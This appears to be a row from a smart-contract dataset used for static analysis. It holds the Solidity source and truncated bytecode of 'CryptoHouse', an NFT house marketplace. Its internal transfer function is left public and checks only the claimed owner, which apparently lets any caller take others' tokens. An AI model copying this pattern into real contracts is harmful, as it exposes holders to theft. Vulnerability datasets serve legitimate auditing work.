address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x3d184e68cf7d1acfd78a8bdf656eac20b8352988
/** *Submitted for verification at Etherscan.io on 2021-03-28 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } contract CryptoHouse is ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; string private _baseURI; address payable public author; string constant public _name = "CryptoHouse"; string constant public _symbol = "HOUSE"; uint256 public _totalSupply = 250; uint public houseRemainingToAssign = 0; struct Offer { bool isForSale; uint houseIndex; address seller; uint minValue; address onlySellTo; } struct Bid { bool hasBid; uint houseIndex; address bidder; uint value; } struct Info { uint houseIndex; string authorInfo; string publicInfo; } mapping (uint256 => string) private _tokenURIs; mapping (address => uint256) public _balances; mapping (uint => address) public _owners; mapping (uint => Offer) public houseOfferedForSale; mapping (uint => Bid) public houseBids; mapping (uint => Info) public houseInfo; mapping (address => uint) public pendingWithdrawals; mapping (uint256 => address) public _tokenApprovals; mapping (address => mapping (address => bool)) public _operatorApprovals; event HouseTransferAllowance(uint256 indexed houseIndex, address indexed fromAddress, address indexed toAddress); event HouseTransferAllowanceForAll(address indexed fromAddress, address indexed toAddress, bool indexed approved); event AssignHouse(uint256 indexed houseIndex, address indexed toAddress); event HouseTransfer(uint256 indexed houseIndex, address indexed fromAddress, address indexed toAddress); event HouseOffered(uint indexed houseIndex, uint minValue, address indexed toAddress); event HouseBidEntered(uint indexed houseIndex, uint value, address indexed fromAddress); event HouseBidWithdrawn(uint indexed houseIndex, uint value, address indexed fromAddress); event HouseBought(uint indexed houseIndex, uint value, address indexed fromAddress, address indexed toAddress); event HouseNoLongerForSaleEvent(uint indexed houseIndex); function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view virtual override returns (uint256) { return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _owners[tokenId]; } function getAllOwnerOf() public view returns (address[] memory _holder) { address[] memory holders = new address[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { holders[i] = _owners[i]; } return (holders); } function getHouseOfferedForSale() public view returns (bool[] memory _isForSale, uint[] memory _houseIndex, address[] memory _seller, uint[] memory _minValue, address[] memory _onlySellTo) { bool[] memory isForSale = new bool[](totalSupply()); uint[] memory houseIndex = new uint[](totalSupply()); address[] memory seller = new address[](totalSupply()); uint[] memory minValue = new uint[](totalSupply()); address[] memory onlySellTo = new address[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { isForSale[i] = houseOfferedForSale[i].isForSale; houseIndex[i] = houseOfferedForSale[i].houseIndex; seller[i] = houseOfferedForSale[i].seller; minValue[i] = houseOfferedForSale[i].minValue; onlySellTo[i] = houseOfferedForSale[i].onlySellTo; } return (isForSale, houseIndex, seller, minValue, onlySellTo); } function getHouseBids() public view returns (bool[] memory _hasBid, uint[] memory _houseIndex, address[] memory _bidder, uint[] memory _value) { bool[] memory hasBid = new bool[](totalSupply()); uint[] memory houseIndex = new uint[](totalSupply()); address[] memory bidder = new address[](totalSupply()); uint[] memory value = new uint[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { hasBid[i] = houseBids[i].hasBid; houseIndex[i] = houseBids[i].houseIndex; bidder[i] = houseBids[i].bidder; value[i] = houseBids[i].value; } return (hasBid, houseIndex, bidder, value); } function getHouseInfo() public view returns (uint[] memory _houseIndex, string[] memory _authorInfo, string[] memory _publicInfo) { uint[] memory houseIndex = new uint[](totalSupply()); string[] memory authorInfo = new string[](totalSupply()); string[] memory publicInfo = new string[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { houseIndex[i] = houseInfo[i].houseIndex; authorInfo[i] = houseInfo[i].authorInfo; publicInfo[i] = houseInfo[i].publicInfo; } return (houseIndex, authorInfo, publicInfo); } constructor() { author = msg.sender; houseRemainingToAssign = totalSupply(); _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); } function setTokenURI(uint256 tokenId, string memory _tokenURI) public virtual { require (author == msg.sender); _tokenURIs[tokenId] = _tokenURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString())); } function setBaseURI(string memory baseURI_) public virtual { require (author == msg.sender); _baseURI = baseURI_; } function baseURI() public view virtual returns (string memory) { return _baseURI; } function approve(address to, uint256 tokenId) public virtual override { address owner = _owners[tokenId]; require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _approve(to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit HouseTransferAllowance(tokenId, _owners[tokenId], to); emit Approval(_owners[tokenId], to, tokenId); } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != msg.sender); _operatorApprovals[msg.sender][operator] = approved; emit HouseTransferAllowanceForAll(msg.sender, operator, approved); emit ApprovalForAll(msg.sender, operator, approved); } function getApproved(uint256 tokenId) public view virtual override returns (address) { return _tokenApprovals[tokenId]; } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { address owner = _owners[tokenId]; return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId)); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transferHouse(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, msg.sender, from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function transfer(address to, uint houseIndex) public { _transferHouse(msg.sender, to, houseIndex); } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferHouse(from, to, tokenId); } function _transferHouse(address from, address to, uint houseIndex) public { require (_owners[houseIndex] == from); require (houseIndex < totalSupply()); if (houseOfferedForSale[houseIndex].isForSale) { houseNoLongerForSale(houseIndex); } _approve(address(0), houseIndex); _owners[houseIndex] = to; _balances[from]--; _balances[to]++; emit Transfer(from, to, houseIndex); emit HouseTransfer(houseIndex, from, to); Bid memory bid = houseBids[houseIndex]; if (bid.bidder == to) { pendingWithdrawals[to] += bid.value; houseBids[houseIndex] = Bid(false, houseIndex, address(0), 0); } } function houseNoLongerForSale(uint houseIndex) public { require (_owners[houseIndex] == msg.sender); require (houseIndex < totalSupply()); houseOfferedForSale[houseIndex] = Offer(false, houseIndex, msg.sender, 0, address(0)); emit HouseNoLongerForSaleEvent(houseIndex); } function offerHouseForSale(uint houseIndex, uint minSalePriceInWei) public { require (_owners[houseIndex] == msg.sender); require (houseIndex < totalSupply()); houseOfferedForSale[houseIndex] = Offer(true, houseIndex, msg.sender, minSalePriceInWei, address(0)); emit HouseOffered(houseIndex, minSalePriceInWei, address(0)); } function offerHouseForSaleToAddress(uint houseIndex, uint minSalePriceInWei, address toAddress) public { require (_owners[houseIndex] == msg.sender); require (houseIndex < totalSupply()); houseOfferedForSale[houseIndex] = Offer(true, houseIndex, msg.sender, minSalePriceInWei, toAddress); emit HouseOffered(houseIndex, minSalePriceInWei, toAddress); } function buyHouse(uint houseIndex) payable public { Offer memory offer = houseOfferedForSale[houseIndex]; require (houseIndex < totalSupply()); require (offer.isForSale); require (offer.onlySellTo == address(0) || offer.onlySellTo == msg.sender); require (msg.value >= offer.minValue); require (offer.seller == _owners[houseIndex]); address seller = offer.seller; _owners[houseIndex] = msg.sender; _balances[seller]--; _balances[msg.sender]++; emit Transfer(seller, msg.sender, houseIndex); houseNoLongerForSale(houseIndex); pendingWithdrawals[seller] += msg.value; emit HouseBought(houseIndex, msg.value, seller, msg.sender); Bid memory bid = houseBids[houseIndex]; if (bid.bidder == msg.sender) { pendingWithdrawals[msg.sender] += bid.value; houseBids[houseIndex] = Bid(false, houseIndex, address(0), 0); } } function withdraw() public { uint amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } function enterBidForHouse(uint houseIndex) payable public { require (houseIndex < totalSupply()); require (_owners[houseIndex] != address(0)); require (_owners[houseIndex] != msg.sender); require (msg.value != 0); Bid memory existing = houseBids[houseIndex]; require (msg.value > existing.value); if (existing.value > 0) { pendingWithdrawals[existing.bidder] += existing.value; } houseBids[houseIndex] = Bid(true, houseIndex, msg.sender, msg.value); emit HouseBidEntered(houseIndex, msg.value, msg.sender); } function acceptBidForHouse(uint houseIndex, uint minPrice) public { require (houseIndex < totalSupply()); require (_owners[houseIndex] == msg.sender); address seller = msg.sender; Bid memory bid = houseBids[houseIndex]; require (bid.value != 0); require (bid.value >= minPrice); _owners[houseIndex] = bid.bidder; _balances[seller]--; _balances[bid.bidder]++; emit Transfer(seller, bid.bidder, houseIndex); houseOfferedForSale[houseIndex] = Offer(false, houseIndex, bid.bidder, 0, address(0)); uint amount = bid.value; houseBids[houseIndex] = Bid(false, houseIndex, address(0), 0); pendingWithdrawals[seller] += amount; emit HouseBought(houseIndex, bid.value, seller, bid.bidder); } function withdrawBidForHouse(uint houseIndex) public { require (houseIndex < totalSupply()); require (_owners[houseIndex] != address(0)); require (_owners[houseIndex] != msg.sender); Bid memory bid = houseBids[houseIndex]; require (bid.bidder == msg.sender); emit HouseBidWithdrawn(houseIndex, bid.value, msg.sender); uint amount = bid.value; houseBids[houseIndex] = Bid(false, houseIndex, address(0), 0); msg.sender.transfer(amount); } function addHouseInformation(uint houseIndex, string memory authorInfo, string memory publicInfo) public { require (houseIndex < totalSupply()); require (_owners[houseIndex] == msg.sender || author == msg.sender); if(msg.sender == author){ houseInfo[houseIndex] = Info(houseIndex, authorInfo, publicInfo); }else{ houseInfo[houseIndex] = Info(houseIndex, "", publicInfo); } } function offerHouseForSaleInBatch(uint[] memory houseIndex, uint[] memory minSalePriceInWei) public { require (msg.sender == author); uint n = houseIndex.length; for (uint i = 0; i < n; i++) { offerHouseForSale(houseIndex[i], minSalePriceInWei[i]); } } function getHouse(uint houseIndex) public payable { require (houseRemainingToAssign != 0); require (_owners[houseIndex] == address(0)); if(msg.sender != author) { require (houseIndex < totalSupply() - 25); require(msg.value >= 0.05 ether); author.transfer(msg.value); } _owners[houseIndex] = msg.sender; _balances[msg.sender]++; houseRemainingToAssign--; emit AssignHouse(houseIndex, msg.sender); emit Transfer(address(0), msg.sender, houseIndex); } }
0x6080604052600436106102885760003560e01c80637620feb21161015a578063b09f1266116100c1578063c87b56dd1161007a578063c87b56dd146107b0578063d28d8852146107d0578063e985e9c5146107e5578063edc3bc3f14610805578063eddc426914610825578063f3f437031461083857610288565b8063b09f126614610706578063b8388cc91461071b578063b88d4fde1461073b578063b9a5ea441461075b578063be956d6914610770578063befffc281461079057610288565b80639f4a1a53116101135780639f4a1a5314610640578063a22cb46514610660578063a5ea3aa414610680578063a6c3e6b9146106b1578063a7cc0136146106c6578063a9059cbb146106e657610288565b80637620feb2146105725780638a9e1a4d1461059757806395d89b41146105c757806397b437bd146105dc578063992924a6146106005780639baf15361461062057610288565b80633eaaf86b116101fe578063681070ab116101b7578063681070ab146104a85780636a6c8c17146104d75780636c0360eb146104f75780636ebcf6071461050c57806370a082311461052c5780637614c3281461054c57610288565b80633eaaf86b146103fe57806342842e0e14610413578063542e434f1461043357806355f804b3146104465780635a00600c146104665780636352211e1461048857610288565b8063162094c411610250578063162094c41461035457806318160ddd1461037457806323b872dd146103965780633107c99d146103b65780633ccfd60b146103c95780633dd10e4a146103de57610288565b806301ffc9a71461028d57806306fdde03146102c3578063081812fc146102e5578063095ea7b314610312578063150e0ce414610334575b600080fd5b34801561029957600080fd5b506102ad6102a836600461302e565b610858565b6040516102ba919061346c565b60405180910390f35b3480156102cf57600080fd5b506102d861087b565b6040516102ba91906134cb565b3480156102f157600080fd5b50610305610300366004613098565b6108a0565b6040516102ba9190613315565b34801561031e57600080fd5b5061033261032d366004612fa5565b6108bb565b005b34801561034057600080fd5b5061033261034f366004613174565b610918565b34801561036057600080fd5b5061033261036f3660046130b0565b610a22565b34801561038057600080fd5b50610389610a58565b6040516102ba91906135ad565b3480156103a257600080fd5b506103326103b1366004612eb8565b610a5e565b6103326103c4366004613098565b610a7c565b3480156103d557600080fd5b50610332610baa565b3480156103ea57600080fd5b506103326103f9366004613153565b610bef565b34801561040a57600080fd5b50610389610f29565b34801561041f57600080fd5b5061033261042e366004612eb8565b610f2f565b610332610441366004613098565b610f4a565b34801561045257600080fd5b50610332610461366004613066565b6110ee565b34801561047257600080fd5b5061047b611118565b6040516102ba9190613366565b34801561049457600080fd5b506103056104a3366004613098565b6111c7565b3480156104b457600080fd5b506104c86104c3366004613098565b6111e2565b6040516102ba939291906135b6565b3480156104e357600080fd5b506103326104f23660046130ea565b61131b565b34801561050357600080fd5b506102d8611453565b34801561051857600080fd5b50610389610527366004612e6c565b6114e8565b34801561053857600080fd5b50610389610547366004612e6c565b6114fa565b34801561055857600080fd5b50610561611515565b6040516102ba9594939291906133c6565b34801561057e57600080fd5b506105876117dc565b6040516102ba9493929190613379565b3480156105a357600080fd5b506105b76105b2366004613098565b611a0a565b6040516102ba9493929190613477565b3480156105d357600080fd5b506102d8611a41565b3480156105e857600080fd5b506105f1611a60565b6040516102ba93929190613433565b34801561060c57600080fd5b5061030561061b366004613098565b611d28565b34801561062c57600080fd5b5061033261063b366004613153565b611d43565b34801561064c57600080fd5b5061033261065b366004613098565b611e39565b34801561066c57600080fd5b5061033261067b366004612f6b565b611f25565b34801561068c57600080fd5b506106a061069b366004613098565b611fda565b6040516102ba95949392919061349d565b3480156106bd57600080fd5b50610305612018565b3480156106d257600080fd5b506103056106e1366004613098565b612027565b3480156106f257600080fd5b50610332610701366004612fa5565b612042565b34801561071257600080fd5b506102d861204d565b34801561072757600080fd5b50610332610736366004612eb8565b61206e565b34801561074757600080fd5b50610332610756366004612ef3565b612266565b34801561076757600080fd5b50610389612285565b34801561077c57600080fd5b5061033261078b366004612fce565b61228b565b34801561079c57600080fd5b506103326107ab366004613098565b6122e7565b3480156107bc57600080fd5b506102d86107cb366004613098565b61247c565b3480156107dc57600080fd5b506102d861259a565b3480156107f157600080fd5b506102ad610800366004612e86565b6125c1565b34801561081157600080fd5b506102ad610820366004612e86565b6125ef565b610332610833366004613098565b61260f565b34801561084457600080fd5b50610389610853366004612e6c565b6128a9565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60408051808201909152600b81526a43727970746f486f75736560a81b602082015290565b6000908152600c60205260409020546001600160a01b031690565b6000818152600760205260409020546001600160a01b039081169083168114156108e457600080fd5b336001600160a01b0382161480610900575061090081336125c1565b61090957600080fd5b61091383836128bb565b505050565b6000838152600760205260409020546001600160a01b0316331461093b57600080fd5b610943610a58565b831061094e57600080fd5b6040805160a0810182526001808252602080830187815233848601908152606085018881526001600160a01b038881166080880181815260008d81526008909752958990209751885490151560ff1990911617885593519587019590955590516002860180549186166001600160a01b0319928316179055905160038601559151600490940180549490931693909116929092179055905184907f716229ee834759caa0e39375aac87f513434054d1f7ebcf6210764184aba83d590610a159086906135ad565b60405180910390a3505050565b6002546001600160a01b03163314610a3957600080fd5b6000828152600560209081526040909120825161091392840190612cc9565b60035490565b610a683382612968565b610a7157600080fd5b61091383838361206e565b600454610a8857600080fd5b6000818152600760205260409020546001600160a01b031615610aaa57600080fd5b6002546001600160a01b03163314610b21576019610ac6610a58565b038110610ad257600080fd5b66b1a2bc2ec50000341015610ae657600080fd5b6002546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610b1f573d6000803e3d6000fd5b505b600081815260076020908152604080832080546001600160a01b031916339081179091558084526006909252808320805460010190556004805460001901905551909183917f9b6ef1cbe03f01f1934ceb33faa4110008caa43422acc69e27099b9294aec7569190a36040518190339060009060008051602061367c833981519152908290a450565b336000818152600b6020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610beb573d6000803e3d6000fd5b5050565b610bf7610a58565b8210610c0257600080fd5b6000828152600760205260409020546001600160a01b03163314610c2557600080fd5b6000828152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b03169282019290925260039091015460608201819052339190610c8257600080fd5b8281606001511015610c9357600080fd5b6040818101805160008781526007602090815284822080546001600160a01b0319166001600160a01b039485161790558683168083526006909152848220805460001901905583518316825284822080546001019055925193518894909216929160008051602061367c8339815191529190a46040518060a0016040528060001515815260200185815260200182604001516001600160a01b031681526020016000815260200160006001600160a01b03168152506008600086815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506060820151816003015560808201518160040160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550905050600081606001519050604051806080016040528060001515815260200186815260200160006001600160a01b0316815260200160008152506009600087815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506060820151816003015590505080600b6000856001600160a01b03166001600160a01b031681526020019081526020016000206000828254019250508190555081604001516001600160a01b0316836001600160a01b0316867f477e60cc1df60b5561da21e0d5b06d0880b119ce4cefa578040520c37a5c81e38560600151604051610f1a91906135ad565b60405180910390a45050505050565b60035481565b61091383838360405180602001604052806000815250612266565b610f52610a58565b8110610f5d57600080fd5b6000818152600760205260409020546001600160a01b0316610f7e57600080fd5b6000818152600760205260409020546001600160a01b0316331415610fa257600080fd5b34610fac57600080fd5b6000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b03169282019290925260039091015460608201819052341161100857600080fd5b6060810151156110395760608101516040808301516001600160a01b03166000908152600b60205220805490910190555b604080516080810182526001808252602080830186815233848601818152346060870181815260008b81526009909652948890209651875460ff191690151517875592519486019490945592516002850180546001600160a01b0319166001600160a01b039092169190911790559051600390930192909255915184917f599913da78d12a0667f3ed7084589b1891cf88967ed8d8659c7c6df1bfad757a916110e291906135ad565b60405180910390a35050565b6002546001600160a01b0316331461110557600080fd5b8051610beb906001906020840190612cc9565b60606000611124610a58565b6001600160401b038111801561113957600080fd5b50604051908082528060200260200182016040528015611163578160200160208202803683370190505b50905060005b611171610a58565b8110156111c15760008181526007602052604090205482516001600160a01b03909116908390839081106111a157fe5b6001600160a01b0390921660209283029190910190910152600101611169565b50905090565b6000908152600760205260409020546001600160a01b031690565b600a602090815260009182526040918290208054600180830180548651600293821615610100026000190190911692909204601f81018690048602830186019096528582529194929390929083018282801561127f5780601f106112545761010080835404028352916020019161127f565b820191906000526020600020905b81548152906001019060200180831161126257829003601f168201915b50505060028085018054604080516020601f60001961010060018716150201909416959095049283018590048502810185019091528181529596959450909250908301828280156113115780601f106112e657610100808354040283529160200191611311565b820191906000526020600020905b8154815290600101906020018083116112f457829003601f168201915b5050505050905083565b611323610a58565b831061132e57600080fd5b6000838152600760205260409020546001600160a01b031633148061135d57506002546001600160a01b031633145b61136657600080fd5b6002546001600160a01b03163314156113e1576040805160608101825284815260208082018581528284018590526000878152600a83529390932082518155925180519293926113bc9260018501920190612cc9565b50604082015180516113d8916002840191602090910190612cc9565b50905050610913565b604080516060810182528481528151602081810184526000808352818401928352838501869052878152600a82529390932082518155905180519293919261142f9260018501920190612cc9565b506040820151805161144b916002840191602090910190612cc9565b505050505050565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156114de5780601f106114b3576101008083540402835291602001916114de565b820191906000526020600020905b8154815290600101906020018083116114c157829003601f168201915b5050505050905090565b60066020526000908152604090205481565b6001600160a01b031660009081526006602052604090205490565b60608060608060606000611527610a58565b6001600160401b038111801561153c57600080fd5b50604051908082528060200260200182016040528015611566578160200160208202803683370190505b5090506000611573610a58565b6001600160401b038111801561158857600080fd5b506040519080825280602002602001820160405280156115b2578160200160208202803683370190505b50905060006115bf610a58565b6001600160401b03811180156115d457600080fd5b506040519080825280602002602001820160405280156115fe578160200160208202803683370190505b509050600061160b610a58565b6001600160401b038111801561162057600080fd5b5060405190808252806020026020018201604052801561164a578160200160208202803683370190505b5090506000611657610a58565b6001600160401b038111801561166c57600080fd5b50604051908082528060200260200182016040528015611696578160200160208202803683370190505b50905060005b6116a4610a58565b8110156117ca57600081815260086020526040902054865160ff909116908790839081106116ce57fe5b91151560209283029190910182015260008281526008909152604090206001015485518690839081106116fd57fe5b60209081029190910181019190915260008281526008909152604090206002015484516001600160a01b039091169085908390811061173857fe5b6001600160a01b03909216602092830291909101820152600082815260089091526040902060030154835184908390811061176f57fe5b60209081029190910181019190915260008281526008909152604090206004015482516001600160a01b03909116908390839081106117aa57fe5b6001600160a01b039092166020928302919091019091015260010161169c565b50939992985090965094509092509050565b60608060608060006117ec610a58565b6001600160401b038111801561180157600080fd5b5060405190808252806020026020018201604052801561182b578160200160208202803683370190505b5090506000611838610a58565b6001600160401b038111801561184d57600080fd5b50604051908082528060200260200182016040528015611877578160200160208202803683370190505b5090506000611884610a58565b6001600160401b038111801561189957600080fd5b506040519080825280602002602001820160405280156118c3578160200160208202803683370190505b50905060006118d0610a58565b6001600160401b03811180156118e557600080fd5b5060405190808252806020026020018201604052801561190f578160200160208202803683370190505b50905060005b61191d610a58565b8110156119fb57600081815260096020526040902054855160ff9091169086908390811061194757fe5b911515602092830291909101820152600082815260099091526040902060010154845185908390811061197657fe5b60209081029190910181019190915260008281526009909152604090206002015483516001600160a01b03909116908490839081106119b157fe5b6001600160a01b0390921660209283029190910182015260008281526009909152604090206003015482518390839081106119e857fe5b6020908102919091010152600101611915565b50929791965094509092509050565b600960205260009081526040902080546001820154600283015460039093015460ff9092169290916001600160a01b039091169084565b604080518082019091526005815264484f55534560d81b602082015290565b60608060606000611a6f610a58565b6001600160401b0381118015611a8457600080fd5b50604051908082528060200260200182016040528015611aae578160200160208202803683370190505b5090506000611abb610a58565b6001600160401b0381118015611ad057600080fd5b50604051908082528060200260200182016040528015611b0457816020015b6060815260200190600190039081611aef5790505b5090506000611b11610a58565b6001600160401b0381118015611b2657600080fd5b50604051908082528060200260200182016040528015611b5a57816020015b6060815260200190600190039081611b455790505b50905060005b611b68610a58565b811015611d1b576000818152600a60205260409020548451859083908110611b8c57fe5b602002602001018181525050600a60008281526020019081526020016000206001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c425780601f10611c1757610100808354040283529160200191611c42565b820191906000526020600020905b815481529060010190602001808311611c2557829003601f168201915b5050505050838281518110611c5357fe5b6020908102919091018101919091526000828152600a82526040908190206002908101805483516001821615610100026000190190911692909204601f81018590048502830185019093528282529092909190830182828015611cf75780601f10611ccc57610100808354040283529160200191611cf7565b820191906000526020600020905b815481529060010190602001808311611cda57829003601f168201915b5050505050828281518110611d0857fe5b6020908102919091010152600101611b60565b5091945092509050909192565b6007602052600090815260409020546001600160a01b031681565b6000828152600760205260409020546001600160a01b03163314611d6657600080fd5b611d6e610a58565b8210611d7957600080fd5b6040805160a0810182526001808252602080830186815233848601908152606085018781526000608087018181528a825260089095528781209651875460ff1916901515178755925194860194909455516002850180546001600160a01b03199081166001600160a01b03938416179091559351600386015591516004909401805490931693909116929092179055905183907f716229ee834759caa0e39375aac87f513434054d1f7ebcf6210764184aba83d5906110e29085906135ad565b6000818152600760205260409020546001600160a01b03163314611e5c57600080fd5b611e64610a58565b8110611e6f57600080fd5b6040805160a0810182526000808252602080830185815233848601908152606085018481526080860185815288865260089094528685209551865460ff191690151517865591516001860155516002850180546001600160a01b03199081166001600160a01b0393841617909155915160038601559151600490940180549091169390911692909217909155905182917f6283b199a9d53b9be8e98620864185e05ed883e1c820aa554f199c41c798b9ba91a250565b6001600160a01b038216331415611f3b57600080fd5b336000818152600d602090815260408083206001600160a01b0387168085529252808320805460ff19168615159081179091559051909391927f35266a7ae5a29d43515ae5ab5d40b3ec09f48e8017645c7f768c686a0598234f91a4816001600160a01b0316336001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110e2919061346c565b6008602052600090815260409020805460018201546002830154600384015460049094015460ff9093169391926001600160a01b0391821692911685565b6002546001600160a01b031681565b600c602052600090815260409020546001600160a01b031681565b610beb33838361206e565b60405180604001604052806005815260200164484f55534560d81b81525081565b6000818152600760205260409020546001600160a01b0384811691161461209457600080fd5b61209c610a58565b81106120a757600080fd5b60008181526008602052604090205460ff16156120c7576120c781611e39565b6120d26000826128bb565b600081815260076020908152604080832080546001600160a01b0319166001600160a01b0387811691821790925590871680855260069093528184208054600019019055808452818420805460010190559051849391929160008051602061367c83398151915291a4816001600160a01b0316836001600160a01b0316827f350ce799fe37ab4b4156427b4397111498c23f683c76c9998a0f515294d6255b60405160405180910390a46000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b039081169383018490526003909101546060830